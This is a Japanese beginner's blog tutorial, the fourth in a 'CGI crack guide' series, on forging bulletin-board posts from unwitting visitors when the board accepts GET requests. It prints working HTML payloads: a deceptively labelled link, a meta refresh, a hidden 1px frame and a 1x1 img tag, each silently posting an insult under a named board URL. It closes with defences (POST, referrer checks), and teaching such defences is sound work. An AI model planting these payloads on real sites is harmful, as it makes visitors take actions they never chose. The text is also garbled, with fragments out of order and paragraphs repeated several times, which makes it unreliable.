超初級CGIクラックガイド(4)
前回までで書いたように、method=getなform内の閲覧者の書き込み(や選択状況)はURLの一部としてCGIに伝わります。
例えば僕も何気なく、googleで「profeel」検索結果などと検索エンジンの検索結果へのリンクを貼ったりしますが、これは検索エンジンの検索formからプログラムへのデータ送信方法がgetだから可能な訳ですね。
googleプログラムが「getで(URLの一部として)送信されたデータから検索」という処理を行っているから
ところで。
特定のURLを閲覧者に(非自覚的に)開かせる方法はたくさんあります。
「imgタグのsrcで指定」に「ん?」と思う方もいるかもしれませんが
もしここに、getでデータを送信し書き込みを行う掲示板があったとしましょう。
では、僕に悪意を持った第三者が自分のサイト内にこっそりこんな記述を加えたらどうなりますか?
そしてこのエラーはあくまで「CGIを実行し出力結果を受け取ったがその形式がhtmlであるためimgタグでは表示できない」というモノです。CGIは実行されていますから書き込みは成立します。
しかしこの発想を生かしたイタズラが一切不可能かというと、そうではないと思います。
逆の言い方をすれば
例えば僕も何気なく、googleで「profeel」検索結果などと検索エンジンの検索結果へのリンクを貼ったりしますが、これは検索エンジンの検索formからプログラムへのデータ送信方法がgetだから可能な訳ですね。
googleプログラムが「getで(URLの一部として)送信されたデータから検索」という処理を行っているから
googleで「profeel」検索結果
<a href="http://www.google.com/search?q=profeel&hl=ja&lr=lang_ja">googleで「profeel」検索結果</a>
が「検索結果へのリンク」になる訳です。<a href="http://www.google.com/search?q=profeel&hl=ja&lr=lang_ja">googleで「profeel」検索結果</a>
特定のURLを閲覧者に(非自覚的に)開かせる方法はたくさんあります。
- 上記のようにAタグを使いリンクとして
- metaタグのリフレッシュを使い強制的にページ移動
- フレームを使って指定
- imgタグのsrcで指定
「imgタグのsrcで指定」に「ん?」と思う方もいるかもしれませんが
<img src="cgi/counter/count.cgi" width="80" height="16">
こういう表記なら見たことありませんか?imgタグを使いカウンターCGIを呼び出しています。もしここに、getでデータを送信し書き込みを行う掲示板があったとしましょう。
<form action="http://www.tokix.net/cgi-bin/bbs.cgi" method="get">
名前<input type="text" name="myname">
本文<input type="text" name="content">
<input type="submit">
</fotm>
formに「tokix」「hello」と書いて送信したならば名前<input type="text" name="myname">
本文<input type="text" name="content">
<input type="submit">
</fotm>
http://www.tokix.net/cgi-bin/bbs.cgi?myname=tokix&content=hello
こうなりますね。では、僕に悪意を持った第三者が自分のサイト内にこっそりこんな記述を加えたらどうなりますか?
<a href="http://www.tokix.net/cgi-bin/bbs.cgi?myname=baka&content=f@ckin">モロ見え動画</a>
「モロ見え動画」をクリックした人は僕の掲示板に対し「baka」という名前で「f@ckin」という書き込みを行います。
「モロ見え動画」をクリックした人は僕の掲示板に対し「baka」という名前で「f@ckin」という書き込みを行います。
<meta http-equiv="refresh" content="3; url=http://www.tokix.net/cgi-bin/bbs.cgi?myname=baka&content=f@ckin">
ページを開いた人は三秒後に僕の掲示板に対し「baka」という名前で「f@ckin」という書き込みを行います。
ページを開いた人は三秒後に僕の掲示板に対し「baka」という名前で「f@ckin」という書き込みを行います。
<frameset cols="*,1">
<frame src="main.html">
<frame src="http://www.tokix.net/cgi-bin/bbs.cgi?myname=baka&content=f@ckin">
</frameset>
ページを開いた人(の中で「異なるドメイン間のフレーム移動」をオフにしていない人)は僕の掲示板に対し「baka」という名前で「f@ckin」という書き込みを行います。書き込み後の掲示板ログ表示は1pxのフレーム内部に表示されるため、このサイトが元々フレームを使っているならば多くの閲覧者は自分が書き込みを行ったことに気付かないでしょう。
<frame src="main.html">
<frame src="http://www.tokix.net/cgi-bin/bbs.cgi?myname=baka&content=f@ckin">
</frameset>
ページを開いた人(の中で「異なるドメイン間のフレーム移動」をオフにしていない人)は僕の掲示板に対し「baka」という名前で「f@ckin」という書き込みを行います。書き込み後の掲示板ログ表示は1pxのフレーム内部に表示されるため、このサイトが元々フレームを使っているならば多くの閲覧者は自分が書き込みを行ったことに気付かないでしょう。
<img src="http://www.tokix.net/cgi-bin/bbs.cgi?myname=baka&content=f@ckin" width=1 height=1>
ページを開いた人(の中で画像表示をオフにしていない人)は僕の掲示板に対し「baka」という名前で「f@ckin」という書き込みを行います。
このbbs.cgiはhtmlソースを返すので表示は「×」になります(※)。しかしサイズでwidth=1 height=1を指定しているので多くの閲覧者は気付かないでしょう。ページを開いた人(の中で画像表示をオフにしていない人)は僕の掲示板に対し「baka」という名前で「f@ckin」という書き込みを行います。
そしてこのエラーはあくまで「CGIを実行し出力結果を受け取ったがその形式がhtmlであるためimgタグでは表示できない」というモノです。CGIは実行されていますから書き込みは成立します。
※
例えば<img src="index.html">という記述を行っても×が表示されるのと同じです。
カウンターCGIの出力はhtmlでなくgif(やpng)です。だから同じようにimgタグで呼び出しても正常に表示されるんです。<img src="count.gif">という記述を行ったのと同じことですからね。
超初級CGIクラックガイド(1)でも書きましたが、CGIとは「出力結果をカスタマイズする手段」です。カウンターならば「(例えば0.gif〜9.gifの中の)どのgifファイルを出力するか」という「カスタマイズ」をCGIが行う訳です。
CGIは出力時に「Content-type:***」という指定を必要とします。「どのような形式の出力を行うか」。htmlなら「Content-type:text/html」でgifなら「Content-type:image/gif」。・・・という説明も本当はかなり乱暴なんですが今回はそういうことで。
勿論、こんな方法が上手くいく掲示板は殆どないと思います。掲示板管理側からすれば例えば<img src="index.html">という記述を行っても×が表示されるのと同じです。
カウンターCGIの出力はhtmlでなくgif(やpng)です。だから同じようにimgタグで呼び出しても正常に表示されるんです。<img src="count.gif">という記述を行ったのと同じことですからね。
超初級CGIクラックガイド(1)でも書きましたが、CGIとは「出力結果をカスタマイズする手段」です。カウンターならば「(例えば0.gif〜9.gifの中の)どのgifファイルを出力するか」という「カスタマイズ」をCGIが行う訳です。
CGIは出力時に「Content-type:***」という指定を必要とします。「どのような形式の出力を行うか」。htmlなら「Content-type:text/html」でgifなら「Content-type:image/gif」。・・・という説明も本当はかなり乱暴なんですが今回はそういうことで。
- 書き込み時のmethodはpostを使う
- 書き込み時にリファラー(どのURLから書き込みが行われたか、という情報)を参照して正当なformがあるURLでなければ弾く
しかしこの発想を生かしたイタズラが一切不可能かというと、そうではないと思います。
逆の言い方をすれば
- method=getでデータを受信する
- 何らかの事情によりリファラーチェックを行っていない

TrackBack
この記事へのトラックバック